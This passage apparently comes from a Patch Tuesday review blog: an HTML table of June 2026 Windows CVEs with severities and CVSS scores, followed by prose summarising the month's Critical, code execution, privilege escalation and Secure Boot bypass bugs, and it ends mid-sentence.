  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon 